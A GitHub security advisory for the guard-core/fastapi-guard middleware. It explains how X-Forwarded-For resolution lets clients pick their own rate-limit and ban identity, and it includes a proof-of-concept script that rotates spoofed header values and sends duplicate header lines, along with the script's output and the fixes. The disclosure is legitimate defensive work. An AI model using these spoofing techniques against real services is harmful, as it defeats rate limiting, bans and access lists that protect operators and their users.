Skip to main content
Menu
Advisories

X-Forwarded-For resolution indexes the chain without checking it, so the client can pick its own rate-limit and ban identity

GHSA-8XVM-856X-7HWPPublished Updated GitHub

Description

_extract_from_forwarded_header (guard_core/_utils/ip_extraction.py) resolves the client as ips[-trusted_proxy_depth] from a comma-split of the first X-Forwarded-For field line. 3.13.0 added ipaddress validation of the selected entry, which closed GHSA-gm9r-hvc9-96gv. What it did not add is any check that the entries to the right of that index are the trusted proxies the depth was counted for.

Three consequences follow, and the third one bites at trusted_proxy_depth=1, the default and the value the docs recommend.

Details

1. Depth over-counting hands identity to the client. trusted_proxy_depth is a promise about how many hops append to the header. If it is larger than the number that actually append - one proxy in front of a config written for two, a CDN removed, a hop that overwrites instead of appending - the indexed entry is inside the part of the chain the client wrote. Every request can then carry a different identity:

rotating the left entry, limit 5/60s : [200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200]
holding it still (control)           : [200, 200, 200, 200, 200, 429, 429, 429, 429, 429, 429, 429]

The limiter works. The identity it counts is chosen by the client, so rate limits, bans, allow/deny lists and the emergency whitelist are all evaded, and each rotated value is a fresh key in the rate-limit store.

2. The same misconfiguration attributes honest traffic to the proxy. When the chain is shorter than the depth, _forwarded_header_candidate returns None and the caller falls back to the peer - which is the proxy:

9 requests from one real client      : [200, 200, 200, 200, 200, 429, 429, 429, 429]
_extract_from_forwarded_header('203.0.113.7', 2) -> None

Every client behind that proxy now shares one rate-limit bucket, so the limit is effectively global and a single busy client 429s everyone else. The ban half is already handled - _self_dos_refusal_reason refuses to ban an address that overlaps trusted_proxies, which is the right call and works. The limiter has no equivalent.

Falling back to the peer is correct when there is no header at all. When there is one and the declared depth cannot be satisfied, the fallback turns a configuration error into shared-fate rate limiting, silently.

3. Only the first field line is read. RFC 7230 §5.2 makes repeated field lines equivalent to a single comma-joined value. request.headers.get() returns the first. Against a hop that adds a second line rather than appending to the existing one, the client's own line wins at any depth:

two field lines, limit 3/60s         : [200, 200, 200, 200, 200, 200, 200, 200, 200]
one field line (control)             : [200, 200, 200, 429, 429, 429, 429, 429, 429]
Headers.get()     -> '66.66.66.1'
Headers.getlist() -> ['66.66.66.1', '203.0.113.7']

This one needs no misconfiguration. trusted_proxy_depth=1 behind a correctly-declared proxy is enough.

PoC

poc_xff_chain.py, attached - the three blocks above are its output verbatim.

<details> <summary><code>poc_xff_chain.py</code></summary>

"""X-Forwarded-For resolution: the indexed entry is not checked against the trusted set.

    uv run python docs/upstream-guard-core/followups/poc_xff_chain.py

Three behaviours, one root cause in `_extract_from_forwarded_header`
(guard_core/_utils/ip_extraction.py): the client IP is `ips[-trusted_proxy_depth]`
of a comma-split of the FIRST X-Forwarded-For field line, and nothing verifies
that the entries to its right are the trusted proxies the depth was counted for.
"""

import logging
from importlib.metadata import version

logging.getLogger("guard_core").setLevel(logging.CRITICAL)

import httpx2 as httpx  # noqa: E402  (fastapi-guard's own dev http client)
from fastapi import FastAPI  # noqa: E402
from guard.middleware import SecurityMiddleware  # noqa: E402
from guard_core._utils.ip_extraction import _extract_from_forwarded_header  # noqa: E402
from guard_core.models import SecurityConfig  # noqa: E402
from starlette.datastructures import Headers  # noqa: E402
from starlette.testclient import TestClient  # noqa: E402

PROXY = ("10.0.0.1", 5000)


def app(depth: int, limit: int) -> FastAPI:
    application = FastAPI()
    application.add_middleware(
        SecurityMiddleware,
        config=SecurityConfig(
            enable_redis=False,
            trusted_proxies=["10.0.0.1"],
            trusted_proxy_depth=depth,
            rate_limit=limit,
            rate_limit_window=60,
            enable_penetration_detection=False,
        ),
    )

    @application.get("/")
    async def root():
        return {"ok": True}

    return application


def section(title: str) -> None:
    print(f"\n{title}\n{'-' * len(title)}")


print(f"guard-core {version('guard-core')} / fastapi-guard {version('fastapi-guard')}")

section("1. depth=2 behind ONE appending proxy: the client names its own bucket")
with TestClient(app(depth=2, limit=5), client=PROXY) as client:
    rotating = [
        client.get("/", headers={"X-Forwarded-For": f"66.66.66.{i}, 10.0.0.1"}).status_code
        for i in range(12)
    ]
    fixed = [
        client.get("/", headers={"X-Forwarded-For": "66.66.66.200, 10.0.0.1"}).status_code
        for _ in range(12)
    ]
print(f"  rotating the left entry, limit 5/60s : {rotating}")
print(f"  holding it still (control)           : {fixed}")
print("  the limiter works; the identity it counts is chosen by the client.")

section("2. the same setting, an honest client that sends no header of its own")
with TestClient(app(depth=2, limit=5), client=PROXY) as client:
    honest = [client.get("/", headers={"X-Forwarded-For": "203.0.113.7"}).status_code for _ in range(9)]
print(f"  9 requests from one real client      : {honest}")
print(f"  _extract_from_forwarded_header('203.0.113.7', 2) -> "
      f"{_extract_from_forwarded_header('203.0.113.7', 2)!r}")
print("  the chain is shorter than the depth, so resolution returns None and the")
print("  caller falls back to the peer: every client behind the proxy shares one")
print("  rate-limit bucket, so one busy client 429s all of them. (The ban path is")
print("  safe here - _self_dos_refusal_reason refuses to ban a trusted proxy.)")

section("3. depth=1 (the safe setting): only the first field line is read")
with TestClient(app(depth=1, limit=3), client=PROXY) as client:
    duplicate = [
        client.send(
            httpx.Request(
                "GET",
                "http://testserver/",
                headers=[
                    (b"host", b"testserver"),
                    (b"x-forwarded-for", f"66.66.66.{i}".encode()),   # the client's own line
                    (b"x-forwarded-for", b"203.0.113.7"),             # a second line from a hop
                ],
            )
        ).status_code
        for i in range(9)
    ]
with TestClient(app(depth=1, limit=3), client=PROXY) as client:
    single = [client.get("/", headers={"X-Forwarded-For": "203.0.113.7"}).status_code for _ in range(9)]
view = Headers(raw=[(b"x-forwarded-for", b"66.66.66.1"), (b"x-forwarded-for", b"203.0.113.7")])
print(f"  two field lines, limit 3/60s         : {duplicate}")
print(f"  one field line (control)             : {single}")
print(f"  Headers.get()     -> {view.get('x-forwarded-for')!r}")
print(f"  Headers.getlist() -> {view.getlist('x-forwarded-for')}")
print("  RFC 7230 5.2 makes repeated field lines equivalent to one comma-joined")
print("  value; reading `.get()` silently drops everything after the first.")

</details> It needs fastapi-guard only for SecurityMiddleware; the resolution function can be exercised directly:

from guard_core._utils.ip_extraction import _extract_from_forwarded_header
_extract_from_forwarded_header("66.66.66.9, 10.0.0.1", 2)   # -> '66.66.66.9'
_extract_from_forwarded_header("203.0.113.5", 2)            # -> None

Impact

Rate limiting, IP banning, allow/deny lists and emergency lockdown are all keyed on this value. In cases 1 and 3 every one of them is evadable by a client that sets a header. In case 2 they collapse onto a single identity shared by the whole user base.

Nothing in the logs distinguishes any of it from normal traffic - case 1 produces no warning at all, because the extracted value is a well-formed public address and, as far as guard-core can tell, is exactly what the operator's trusted_proxy_depth said it would be.

Suggested fix

Walk the chain right-to-left, dropping entries that parse as one of trusted_proxies, and take the first that does not; use trusted_proxy_depth as a ceiling on how far to walk rather than as an index. Join repeated field lines with headers.getlist("x-forwarded-for") before splitting. When the walk finds no untrusted entry, keep the current fallback but say so once at WARNING - that is the case where the deployment is misdescribed and the operator needs to know before the whole user base ends up sharing one bucket.

Fixed in 3.14.0

Fixed in guard-core 3.14.0 (PyPI), merged in #82 (500d4ef6). Depth-indexed extraction stays (uvicorn's ProxyHeadersMiddleware and Werkzeug's ProxyFix are depth-indexed as well) and gains the missing checks: guard-core warns once when the forwarded-for chain is shorter than trusted_proxy_depth and once when the depth-selected entry is itself a listed trusted proxy, and SecurityConfig warns at construction on a prefix-0 trusted_proxies entry (0.0.0.0/0, ::/0). Penetration attempts are attributed to the resolved client, and fastapi-guard 7.8.0 joins repeated X-Forwarded-For field lines per RFC 7230 before guard-core sees the header.

Fixed in 3.15.0

Fixed in guard-core 3.15.0 (PyPI), merged in #83 (75d13343). Claim 1 (a declared trusted_proxy_depth that over-counts the real hops let the client pick its identity) is corrected rather than warned: with a non-empty trusted_proxies, every entry to the right of the depth-selected one must be a listed trusted proxy; if one is not, guard-core warns once and resolves the client by walking the chain right to left, skipping listed proxies and taking the first address that is not one. Entries carrying a port (host:port, [v6]:port) are now parsed instead of discarding the header. The check trusts entries by value, not by which hop appended them, so a trusted proxy that forwards without appending the peer remains spoofable regardless of the depth, unchanged from 3.14.0 and documented.

Affected versions

References

GitHub · Guard-Core/guard-core